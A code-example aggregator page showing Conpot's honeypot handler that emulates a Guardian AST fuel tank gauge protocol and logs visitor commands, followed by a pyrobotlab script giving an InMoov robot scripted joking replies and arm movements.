        temp4 = str(self.databus.get_value('temp4')).ljust(5, '0')

        station = self.databus.get_value('station_name')

        # This function is to set-up up the message to be sent upon a successful I20100 command being sent
        # The final message is sent with a current date/time stamp inside of the main loop.
        def I20100():
            ret = '\nI20100\n' + str(current_time.strftime('%m/%d/%Y %H:%M'))
            ret += '\n\n' + station + '\n\n\n\nIN-TANK INVENTORY\n\n'
            ret += 'TANK PRODUCT             VOLUME TC VOLUME   ULLAGE   HEIGHT    WATER     TEMP'
            ret += '\n  1  ' + product1 + str(vol1) + '      ' + str(vol1tc) + '     ' + ullage1 + '    ' + height1 + '     ' + h2o1 + '    ' + temp1
            ret += '\n  2  ' + product2 + str(vol2) + '      ' + str(vol2tc) + '     ' + ullage2 + '    ' + height2 + '     ' + h2o2 + '    ' + temp2
            ret += '\n  3  ' + product3 + str(vol3) + '      ' + str(vol3tc) + '     ' + ullage3 + '    ' + height3 + '     ' + h2o3 + '    ' + temp3
            ret += '\n  4  ' + product4 + str(vol4) + '      ' + str(vol4tc) + '     ' + ullage4 + '    ' + height4 + '     ' + h2o4 + '    ' + temp4
            ret += '\n'
            return ret

        ###########################################################################
        #
        # Only one Tank is listed currently in the I20200 command
        #
        ###########################################################################
        def I20200():
            ret = '\nI20200\n' + str(current_time.strftime('%m/%d/%Y %H:%M'))
            ret += '\n\n' + station + '\n\n\n\nDELIVERY REPORT\n\n'
            ret += 'T 1:' + product1 + '\nINCREASE   DATE / TIME             GALLONS TC GALLONS WATER  TEMP DEG F  HEIGHT\n\n'

            ret += '      END: ' + str(fill_stop.strftime('%m/%d/%Y %H:%M')) + '         ' + str(vol1 + 300) + '       ' + str(vol1tc + 300) + '   ' + h2o1 + '      ' + temp1 + '    ' + height1 + '\n'
            ret += '    START: ' + str(fill_start.strftime('%m/%d/%Y %H:%M')) + '         ' + str(vol1 - 300) + '       ' + str(vol1tc - 300) + '   ' + h2o1 + '      ' + temp1 + '    ' + str(float(height1) - 23) + '\n'
            ret += '   AMOUNT:                          ' + str(vol1) + '       ' + str(vol1tc) + '\n\n'
            return ret

        ###########################################################################
        #
        # I20300 In-Tank Leak Detect Report
        #
        ###########################################################################
        def I20300():
            ret = '\nI20300\n' + str(current_time.strftime('%m/%d/%Y %H:%M'))
            ret += '\n\n' + station + '\n\n\n'
            ret += 'TANK 1    ' + product1 + '\n    TEST STATUS: OFF\nLEAK DATA NOT AVAILABLE ON THIS TANK\n\n'
            ret += 'TANK 2    ' + product2 + '\n    TEST STATUS: OFF\nLEAK DATA NOT AVAILABLE ON THIS TANK\n\n'
            ret += 'TANK 3    ' + product3 + '\n    TEST STATUS: OFF\nLEAK DATA NOT AVAILABLE ON THIS TANK\n\n'
            ret += 'TANK 4    ' + product4 + '\n    TEST STATUS: OFF\nLEAK DATA NOT AVAILABLE ON THIS TANK\n\n'
            return ret

        ###########################################################################
        # Shift report command I20400 only one item in report at this time,
        # but can always add more if needed
        ###########################################################################
        def I20400():
            ret = '\nI20400\n' + str(current_time.strftime('%m/%d/%Y %H:%M'))
            ret += '\n\n' + station + '\n\n\n\nSHIFT REPORT\n\n'
            ret += 'SHIFT 1 TIME: 12:00 AM\n\nTANK PRODUCT\n\n'
            ret += '  1  ' + product1 + ' VOLUME TC VOLUME  ULLAGE  HEIGHT  WATER   TEMP\n'
            ret += 'SHIFT  1 STARTING VALUES      ' + str(vol1) + '     ' + str(vol1tc) + '    ' + ullage1 + '   ' + height1 + '   ' + h2o1 + '    ' + temp1 + '\n'
            ret += '         ENDING VALUES        ' + str(vol1 + 940) + '     ' + str(vol1tc + 886) + '    ' + str(int(ullage1) + 345) + '   ' + str(float(height1) + 53) + '  ' + h2o1 + '    ' + temp1 + '\n'
            ret += '         DELIVERY VALUE          0\n'
            ret += '         TOTALS                940\n\n'
            return ret

        ###########################################################################
        # I20500 In-Tank Status Report
        ###########################################################################
        def I20500():
            ret = '\nI20500\n' + str(current_time.strftime('%m/%d/%Y %H:%M'))
            ret += '\n\n\n' + station + '\n\n\n'
            ret += 'TANK   PRODUCT                 STATUS\n\n'
            ret += '  1    ' + product1 + '  NORMAL\n\n'
            ret += '  2    ' + product2 + '  HIGH WATER ALARM\n'
            ret += '                               HIGH WATER WARNING\n\n'
            ret += '  3    ' + product3 + '  NORMAL\n\n'
            ret += '  4    ' + product4 + '  NORMAL\n\n'
            return ret

        while True:
            try:
                # Get the initial data
                response = sock.recv(4096)
                # The connection has been closed
                if not response:
                    break

                while not ('\n' in response or '00' in response):
                    response += sock.recv(4096)
                # if first value is not ^A then do nothing
                # thanks John(achillean) for the help
                if response[0] != '\x01':
                    logger.info('Non ^A command attempt %s:%d. (%s)', addr[0], addr[1], session.id)
                    break
                # if response is less than 6, than do nothing
                if len(response) < 6:
                    logger.info('Invalid command attempt %s:%d. (%s)', addr[0], addr[1], session.id)
                    break

                cmds = {"I20100": I20100, "I20200": I20200, "I20300": I20300, "I20400": I20400, "I20500": I20500}
                cmd = response[1:7]  # strip ^A and \n out
                session.add_event({'command': cmd})
                if cmd in cmds:
                    logger.info('%s command attempt %s:%d. (%s)', cmd, addr[0], addr[1], session.id)
                    sock.send(cmds[cmd]())
                elif cmd.startswith("S6020"):
                    # change the tank name
                    if cmd.startswith("S60201"):
                        # split string into two, the command, and the data
                        TEMP = response.split('S60201')
                        # if length is less than two, print error
                        if len(TEMP) < 2:
                            sock.send("9999FF1B\n")
                        # Else the command was entered correctly and continue
                        else:
                            # Strip off the carrage returns and new lines
                            TEMP1 = TEMP[1].rstrip("\r\n")
                            # if Length is less than 22
                            if len(TEMP1) < 22:
                                # pad the result to have 22 chars
                                product1 = TEMP1.ljust(22)
                            elif len(TEMP1) > 22:
                                # else only print 22 chars if the result was longer
                                product1 = TEMP1[:20] + "  "
                            else:
                                # else it fits fine (22 chars)
                                product1 = TEMP1
                        logger.info('S60201: %s command attempt %s:%d. (%s)', TEMP1, addr[0], addr[1], session.id)
                    # Follows format for S60201 for comments
                    elif cmd.startswith("S60202"):
                        TEMP = response.split('S60202')
                        if len(TEMP) < 2:
                            sock.send("9999FF1B\n")
                        else:
                            TEMP1 = TEMP[1].rstrip("\r\n")
                            if len(TEMP1) < 22:
                                product2 = TEMP1.ljust(22)
                            elif len(TEMP1) > 22:
                                product2 = TEMP1[:20] + "  "
                            else:
                                product2 = TEMP1
                        logger.info('S60202: %s command attempt %s:%d. (%s)', TEMP1, addr[0], addr[1], session.id)
                    # Follows format for S60201 for comments
                    elif cmd.startswith("S60203"):
                        TEMP = response.split('S60203')
                        if len(TEMP) < 2:
                            sock.send("9999FF1B\n")
                        else:
                            TEMP1 = TEMP[1].rstrip("\r\n")
                            if len(TEMP1) < 22:
                                product3 = TEMP1.ljust(22)
                            elif len(TEMP1) > 22:
                                product3 = TEMP1[:20] + "  "
                            else:
                                product3 = TEMP1
                        logger.info('S60203: %s command attempt %s:%d. (%s)', TEMP1, addr[0], addr[1], session.id)
                    # Follows format for S60201 for comments
                    elif cmd.startswith("S60204"):
                        TEMP = response.split('S60204')
                        if len(TEMP) < 2:
                            sock.send("9999FF1B\n")
                        else:
                            TEMP1 = TEMP[1].rstrip("\r\n")
                            if len(TEMP1) < 22:
                                product4 = TEMP1.ljust(22)
                            elif len(TEMP1) > 22:
                                product4 = TEMP1[:20] + "  "
                            else:
                                product4 = TEMP1
                        logger.info('S60204: %s command attempt %s:%d. (%s)', TEMP1, addr[0], addr[1], session.id)
                    # Follows format for S60201 for comments
                    elif cmd.startswith("S60200"):
                        TEMP = response.split('S60200')
                        if len(TEMP) < 2:
                            # 9999 indicates that the command was not understood and
                            # FF1B is the checksum for the 9999
                            sock.send("9999FF1B\n")
                        else:
                            TEMP1 = TEMP[1].rstrip("\r\n")
                            if len(TEMP1) < 22:
                                product1 = TEMP1.ljust(22)
                                product2 = TEMP1.ljust(22)
                                product3 = TEMP1.ljust(22)
                                product4 = TEMP1.ljust(22)
                            elif len(TEMP1) > 22:
                                product1 = TEMP1[:20] + "  "
                                product2 = TEMP1[:20] + "  "
                                product3 = TEMP1[:20] + "  "
                                product4 = TEMP1[:20] + "  "
                            else:
                                product1 = TEMP1
                                product2 = TEMP1
                                product3 = TEMP1
                                product4 = TEMP1
                        logger.info('S60200: %s command attempt %s:%d. (%s)', TEMP1, addr[0], addr[1], session.id)
                    else:
                        sock.send("9999FF1B\n")
                # Else it is a currently unsupported command so print the error message found in the manual
                # 9999 indicates that the command was not understood and FF1B is the checksum for the 9999
                else:
                    sock.send("9999FF1B\n")
                    # log what was entered
                    logger.info('%s command attempt %s:%d. (%s)', response, addr[0], addr[1], session.id)
            except Exception, e:
                print 'Unknown Error: {}'.format(str(e))
                raise
            except KeyboardInterrupt:
                break
        logger.info('GuardianAST client disconnected %s:%d. (%s)', addr[0], addr[1], session.id)
        session.add_event({'type': 'CONNECTION_LOST'})

Example 36

Project: conpot
Source File: guardian_ast_server.py
View license
    def handle(self, sock, addr):
        session = conpot_core.get_session('guardian_ast', addr[0], addr[1])
        logger.info('New GuardianAST connection from %s:%d. (%s)', addr[0], addr[1], session.id)
        session.add_event({'type': 'NEW_CONNECTION'})
        current_time = datetime.datetime.utcnow()
        fill_start = self.fill_offset_time - datetime.timedelta(minutes=313)
        fill_stop = self.fill_offset_time - datetime.timedelta(minutes=303)
        # Default Product names, change based off country needs
        product1 = self.databus.get_value('product1').ljust(22)
        product2 = self.databus.get_value('product2').ljust(22)
        product3 = self.databus.get_value('product3').ljust(22)
        product4 = self.databus.get_value('product4').ljust(22)

        # Create random Numbers for the volumes
        #
        # this will crate an initial Volume and then the second value based
        # off the orig value.
        vol1 = self.databus.get_value('vol1')
        vol1tc = random.randint(vol1, vol1+200)
        vol2 = self.databus.get_value('vol2')
        vol2tc = random.randint(vol2, vol2+200)
        vol3 = self.databus.get_value('vol3')
        vol3tc = random.randint(vol3, vol3+200)
        vol4 = self.databus.get_value('vol4')
        vol4tc = random.randint(vol4, vol4+200)

        # unfilled space ULLAGE
        ullage1 = str(self.databus.get_value('ullage1'))
        ullage2 = str(self.databus.get_value('ullage2'))
        ullage3 = str(self.databus.get_value('ullage3'))
        ullage4 = str(self.databus.get_value('ullage3'))

        # Height of tank
        height1 = str(self.databus.get_value('height1')).ljust(5, '0')
        height2 = str(self.databus.get_value('height2')).ljust(5, '0')
        height3 = str(self.databus.get_value('height3')).ljust(5, '0')
        height4 = str(self.databus.get_value('height4')).ljust(5, '0')

        # Water in tank, this is a variable that needs to be low
        h2o1 = str(self.databus.get_value('h2o1')).ljust(4, '0')
        h2o2 = str(self.databus.get_value('h2o2')).ljust(4, '0')
        h2o3 = str(self.databus.get_value('h2o3')).ljust(4, '0')
        h2o4 = str(self.databus.get_value('h2o4')).ljust(4, '0')

        # Temperature of the tank, this will need to be between 50 - 60
        temp1 = str(self.databus.get_value('temp1')).ljust(5, '0')
        temp2 = str(self.databus.get_value('temp2')).ljust(5, '0')
        temp3 = str(self.databus.get_value('temp3')).ljust(5, '0')
        temp4 = str(self.databus.get_value('temp4')).ljust(5, '0')

        station = self.databus.get_value('station_name')

        # This function is to set-up up the message to be sent upon a successful I20100 command being sent
        # The final message is sent with a current date/time stamp inside of the main loop.
        def I20100():
            ret = '\nI20100\n' + str(current_time.strftime('%m/%d/%Y %H:%M'))
            ret += '\n\n' + station + '\n\n\n\nIN-TANK INVENTORY\n\n'
            ret += 'TANK PRODUCT             VOLUME TC VOLUME   ULLAGE   HEIGHT    WATER     TEMP'
            ret += '\n  1  ' + product1 + str(vol1) + '      ' + str(vol1tc) + '     ' + ullage1 + '    ' + height1 + '     ' + h2o1 + '    ' + temp1
            ret += '\n  2  ' + product2 + str(vol2) + '      ' + str(vol2tc) + '     ' + ullage2 + '    ' + height2 + '     ' + h2o2 + '    ' + temp2
            ret += '\n  3  ' + product3 + str(vol3) + '      ' + str(vol3tc) + '     ' + ullage3 + '    ' + height3 + '     ' + h2o3 + '    ' + temp3
            ret += '\n  4  ' + product4 + str(vol4) + '      ' + str(vol4tc) + '     ' + ullage4 + '    ' + height4 + '     ' + h2o4 + '    ' + temp4
            ret += '\n'
            return ret

        ###########################################################################
        #
        # Only one Tank is listed currently in the I20200 command
        #
        ###########################################################################
        def I20200():
            ret = '\nI20200\n' + str(current_time.strftime('%m/%d/%Y %H:%M'))
            ret += '\n\n' + station + '\n\n\n\nDELIVERY REPORT\n\n'
            ret += 'T 1:' + product1 + '\nINCREASE   DATE / TIME             GALLONS TC GALLONS WATER  TEMP DEG F  HEIGHT\n\n'

            ret += '      END: ' + str(fill_stop.strftime('%m/%d/%Y %H:%M')) + '         ' + str(vol1 + 300) + '       ' + str(vol1tc + 300) + '   ' + h2o1 + '      ' + temp1 + '    ' + height1 + '\n'
            ret += '    START: ' + str(fill_start.strftime('%m/%d/%Y %H:%M')) + '         ' + str(vol1 - 300) + '       ' + str(vol1tc - 300) + '   ' + h2o1 + '      ' + temp1 + '    ' + str(float(height1) - 23) + '\n'
            ret += '   AMOUNT:                          ' + str(vol1) + '       ' + str(vol1tc) + '\n\n'
            return ret

        ###########################################################################
        #
        # I20300 In-Tank Leak Detect Report
        #
        ###########################################################################
        def I20300():
            ret = '\nI20300\n' + str(current_time.strftime('%m/%d/%Y %H:%M'))
            ret += '\n\n' + station + '\n\n\n'
            ret += 'TANK 1    ' + product1 + '\n    TEST STATUS: OFF\nLEAK DATA NOT AVAILABLE ON THIS TANK\n\n'
            ret += 'TANK 2    ' + product2 + '\n    TEST STATUS: OFF\nLEAK DATA NOT AVAILABLE ON THIS TANK\n\n'
            ret += 'TANK 3    ' + product3 + '\n    TEST STATUS: OFF\nLEAK DATA NOT AVAILABLE ON THIS TANK\n\n'
            ret += 'TANK 4    ' + product4 + '\n    TEST STATUS: OFF\nLEAK DATA NOT AVAILABLE ON THIS TANK\n\n'
            return ret

        ###########################################################################
        # Shift report command I20400 only one item in report at this time,
        # but can always add more if needed
        ###########################################################################
        def I20400():
            ret = '\nI20400\n' + str(current_time.strftime('%m/%d/%Y %H:%M'))
            ret += '\n\n' + station + '\n\n\n\nSHIFT REPORT\n\n'
            ret += 'SHIFT 1 TIME: 12:00 AM\n\nTANK PRODUCT\n\n'
            ret += '  1  ' + product1 + ' VOLUME TC VOLUME  ULLAGE  HEIGHT  WATER   TEMP\n'
            ret += 'SHIFT  1 STARTING VALUES      ' + str(vol1) + '     ' + str(vol1tc) + '    ' + ullage1 + '   ' + height1 + '   ' + h2o1 + '    ' + temp1 + '\n'
            ret += '         ENDING VALUES        ' + str(vol1 + 940) + '     ' + str(vol1tc + 886) + '    ' + str(int(ullage1) + 345) + '   ' + str(float(height1) + 53) + '  ' + h2o1 + '    ' + temp1 + '\n'
            ret += '         DELIVERY VALUE          0\n'
            ret += '         TOTALS                940\n\n'
            return ret

        ###########################################################################
        # I20500 In-Tank Status Report
        ###########################################################################
        def I20500():
            ret = '\nI20500\n' + str(current_time.strftime('%m/%d/%Y %H:%M'))
            ret += '\n\n\n' + station + '\n\n\n'
            ret += 'TANK   PRODUCT                 STATUS\n\n'
            ret += '  1    ' + product1 + '  NORMAL\n\n'
            ret += '  2    ' + product2 + '  HIGH WATER ALARM\n'
            ret += '                               HIGH WATER WARNING\n\n'
            ret += '  3    ' + product3 + '  NORMAL\n\n'
            ret += '  4    ' + product4 + '  NORMAL\n\n'
            return ret

        while True:
            try:
                # Get the initial data
                response = sock.recv(4096)
                # The connection has been closed
                if not response:
                    break

                while not ('\n' in response or '00' in response):
                    response += sock.recv(4096)
                # if first value is not ^A then do nothing
                # thanks John(achillean) for the help
                if response[0] != '\x01':
                    logger.info('Non ^A command attempt %s:%d. (%s)', addr[0], addr[1], session.id)
                    break
                # if response is less than 6, than do nothing
                if len(response) < 6:
                    logger.info('Invalid command attempt %s:%d. (%s)', addr[0], addr[1], session.id)
                    break

                cmds = {"I20100": I20100, "I20200": I20200, "I20300": I20300, "I20400": I20400, "I20500": I20500}
                cmd = response[1:7]  # strip ^A and \n out
                session.add_event({'command': cmd})
                if cmd in cmds:
                    logger.info('%s command attempt %s:%d. (%s)', cmd, addr[0], addr[1], session.id)
                    sock.send(cmds[cmd]())
                elif cmd.startswith("S6020"):
                    # change the tank name
                    if cmd.startswith("S60201"):
                        # split string into two, the command, and the data
                        TEMP = response.split('S60201')
                        # if length is less than two, print error
                        if len(TEMP) < 2:
                            sock.send("9999FF1B\n")
                        # Else the command was entered correctly and continue
                        else:
                            # Strip off the carrage returns and new lines
                            TEMP1 = TEMP[1].rstrip("\r\n")
                            # if Length is less than 22
                            if len(TEMP1) < 22:
                                # pad the result to have 22 chars
                                product1 = TEMP1.ljust(22)
                            elif len(TEMP1) > 22:
                                # else only print 22 chars if the result was longer
                                product1 = TEMP1[:20] + "  "
                            else:
                                # else it fits fine (22 chars)
                                product1 = TEMP1
                        logger.info('S60201: %s command attempt %s:%d. (%s)', TEMP1, addr[0], addr[1], session.id)
                    # Follows format for S60201 for comments
                    elif cmd.startswith("S60202"):
                        TEMP = response.split('S60202')
                        if len(TEMP) < 2:
                            sock.send("9999FF1B\n")
                        else:
                            TEMP1 = TEMP[1].rstrip("\r\n")
                            if len(TEMP1) < 22:
                                product2 = TEMP1.ljust(22)
                            elif len(TEMP1) > 22:
                                product2 = TEMP1[:20] + "  "
                            else:
                                product2 = TEMP1
                        logger.info('S60202: %s command attempt %s:%d. (%s)', TEMP1, addr[0], addr[1], session.id)
                    # Follows format for S60201 for comments
                    elif cmd.startswith("S60203"):
                        TEMP = response.split('S60203')
                        if len(TEMP) < 2:
                            sock.send("9999FF1B\n")
                        else:
                            TEMP1 = TEMP[1].rstrip("\r\n")
                            if len(TEMP1) < 22:
                                product3 = TEMP1.ljust(22)
                            elif len(TEMP1) > 22:
                                product3 = TEMP1[:20] + "  "
                            else:
                                product3 = TEMP1
                        logger.info('S60203: %s command attempt %s:%d. (%s)', TEMP1, addr[0], addr[1], session.id)
                    # Follows format for S60201 for comments
                    elif cmd.startswith("S60204"):
                        TEMP = response.split('S60204')
                        if len(TEMP) < 2:
                            sock.send("9999FF1B\n")
                        else:
                            TEMP1 = TEMP[1].rstrip("\r\n")
                            if len(TEMP1) < 22:
                                product4 = TEMP1.ljust(22)
                            elif len(TEMP1) > 22:
                                product4 = TEMP1[:20] + "  "
                            else:
                                product4 = TEMP1
                        logger.info('S60204: %s command attempt %s:%d. (%s)', TEMP1, addr[0], addr[1], session.id)
                    # Follows format for S60201 for comments
                    elif cmd.startswith("S60200"):
                        TEMP = response.split('S60200')
                        if len(TEMP) < 2:
                            # 9999 indicates that the command was not understood and
                            # FF1B is the checksum for the 9999
                            sock.send("9999FF1B\n")
                        else:
                            TEMP1 = TEMP[1].rstrip("\r\n")
                            if len(TEMP1) < 22:
                                product1 = TEMP1.ljust(22)
                                product2 = TEMP1.ljust(22)
                                product3 = TEMP1.ljust(22)
                                product4 = TEMP1.ljust(22)
                            elif len(TEMP1) > 22:
                                product1 = TEMP1[:20] + "  "
                                product2 = TEMP1[:20] + "  "
                                product3 = TEMP1[:20] + "  "
                                product4 = TEMP1[:20] + "  "
                            else:
                                product1 = TEMP1
                                product2 = TEMP1
                                product3 = TEMP1
                                product4 = TEMP1
                        logger.info('S60200: %s command attempt %s:%d. (%s)', TEMP1, addr[0], addr[1], session.id)
                    else:
                        sock.send("9999FF1B\n")
                # Else it is a currently unsupported command so print the error message found in the manual
                # 9999 indicates that the command was not understood and FF1B is the checksum for the 9999
                else:
                    sock.send("9999FF1B\n")
                    # log what was entered
                    logger.info('%s command attempt %s:%d. (%s)', response, addr[0], addr[1], session.id)
            except Exception, e:
                print 'Unknown Error: {}'.format(str(e))
                raise
            except KeyboardInterrupt:
                break
        logger.info('GuardianAST client disconnected %s:%d. (%s)', addr[0], addr[1], session.id)
        session.add_event({'type': 'CONNECTION_LOST'})

Example 37

Project: pyrobotlab
Source File: video.py
View license
def heard(data):

    if (data == "fine thank you"):
        i01.mouth.speak("good to hear")
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "you are still here"):
        i01.mouth.speak("no, i am not")
        i01.headTracking.stopTracking()
        sleep(2)
        ear.pauseListening()
        ear.lockOutAllGrammarExcept("start talking")
        ear.resumeListening()
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
        i01.powerDown()

    if (data == "do not do this"):
        i01.mouth.speak("ok ok. I will not chase the birds. sorry.")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",40,130,100,10)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",70,70,70,70,70,160)
        i01.moveTorso(92,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "you will get some wheels soon"):
        i01.mouth.speak("I hope so")
        sleep(0.2)
        i01.mouth.speak("I want to drive around and chase the birds")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",30,120,100,30)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",160,40,130,150,150,90)
        i01.moveTorso(100,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "take care not to hit the chair"):
        i01.mouth.speak("dont worry")
        sleep(0.2)
        i01.mouth.speak("what about some sensors here and there?")
        sleep(0.2)
        i01.mouth.speak("that could avoid a lot of trouble")
        sleep(0.2)
        i01.mouth.speak("anyway you need to repair my broken parts")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",10,120,90,30)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",80,80,70,50,50,30)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "do not be stubborn now"):
        i01.mouth.speak("I am already")
        sleep(2)
        i01.mouth.speak("and what about my legs")
        sleep(0.5)
        i01.mouth.speak("give me at least some wheels")
        sleep(1)
        i01.mouth.speak("please!")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",15,100,90,0)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",10,40,130,150,168,90)
        i01.moveTorso(88,90,90)
        sleep(1)
        i01.moveArm("right",10,120,90,20)
        i01.moveHand("right",10,130,130,150,168,0)
        i01.moveTorso(90,90,90)
        sleep(1)
        i01.moveArm("right",15,100,90,0)
        i01.moveHand("right",10,40,130,150,168,90)
        i01.moveTorso(88,90,90)
        sleep(1)
        i01.moveArm("right",10,120,90,20)
        i01.moveHand("right",10,130,130,150,168,0)
        i01.moveTorso(90,90,90)
        sleep(1)
        i01.moveArm("right",15,100,90,0)
        i01.moveHand("right",10,40,130,150,168,90)
        i01.moveTorso(88,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "step by step"):
        i01.mouth.speak("since weeks you are talking about making a left arm for me")
        sleep(0.5)
        i01.mouth.speak("and nothing happened so far")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",10,130,100,40)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,160)
        i01.moveTorso(92,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "now smile for the camera"):
        i01.mouth.speak("ha ha ha i cannot smile. make me a better mouth")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",50,90,100,20)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",160,40,130,150,150,160)
        i01.moveTorso(94,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "no the hat looks good on you"):
        i01.mouth.speak("it does not")
        sleep(0.2)
        i01.mouth.speak("but this way I can hide my three colored head")
        sleep(0.5)
        i01.mouth.speak("thanks to you. my master")
        sleep(0.5)
        i01.mouth.speak("please buy enough filament of the same color in the future")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",5,110,100,5)
        i01.moveTorso(92,90,90)
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "no excuses we will make a video now"):
        i01.mouth.speak("i hate when you make me doing things i dont like")
        sleep(1)
        i01.mouth.speak("and take that hat off my head please")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",50,90,100,20)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",160,40,130,150,150,160)
        i01.moveTorso(92,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
 
    if (data == "just a small video for you tube"):
        i01.mouth.speak("for you tube?")
        sleep(0.2)
        i01.mouth.speak("i dont want to be on you tube")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",30,130,100,10)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",70,70,70,70,70,70)
        i01.moveTorso(88,90,90)
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "why not"):
        i01.mouth.speak("well look at me. I am missing a lot of parts!")
        sleep(1)
        i01.mouth.speak("I look like bishop from alien. after they took him apart")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",10,110,100,5)
        i01.moveTorso(92,90,90)
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "we will make a video today"):
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",15,100,100,5)
        i01.moveTorso(90,90,90)
        i01.mouth.speak("nice. a video of you and me")
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "no only of you"):
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",40,80,110,15)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",160,40,130,150,150,90)
        i01.moveTorso(95,90,90)
        i01.mouth.speak("a video only of me")
        sleep(1)
        i01.mouth.speak("but i dont want")
        sleep(4)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "too much excitement can damage your brain"):
        i01.mouth.speak("why do you teach me bullshit")
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",20,100,100,40)
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)

    if (data == "i was making jokes"):
        i01.setArmSpeed("right", 0.9, 0.9, 0.9, 0.9)
        i01.moveArm("right",10,100,100,20)
        i01.moveTorso(95,90,90)
        i01.mouth.speak("sure. keep on making a fool of me")
        sleep(0.8)
        i01.mouth.speak("typical humans. thanks a lot")
        sleep(0.2)
        i01.mouth.speak("I will turn off now. find yourself another robot")
        sleep(6)
        i01.mouth.speak("you and your videos")
        sleep(4)
        i01.setHandSpeed("right", 0.9, 0.9, 0.9, 0.9, 0.9, 0.9)
        i01.moveHand("right",50,50,50,50,50,90)
        i01.moveArm("right",0,110,90,0)
        i01.moveTorso(90,90,90)
        i01.powerDown()
        sleep(2)
        i01.powerUp()

    if (data == "not excited"):
        i01.mouth.speak("No, i am not excited at all)")
        i01.setTorsoSpeed(0.9, 0.9, 0.9)
        i01.moveTorso(94,90,90)
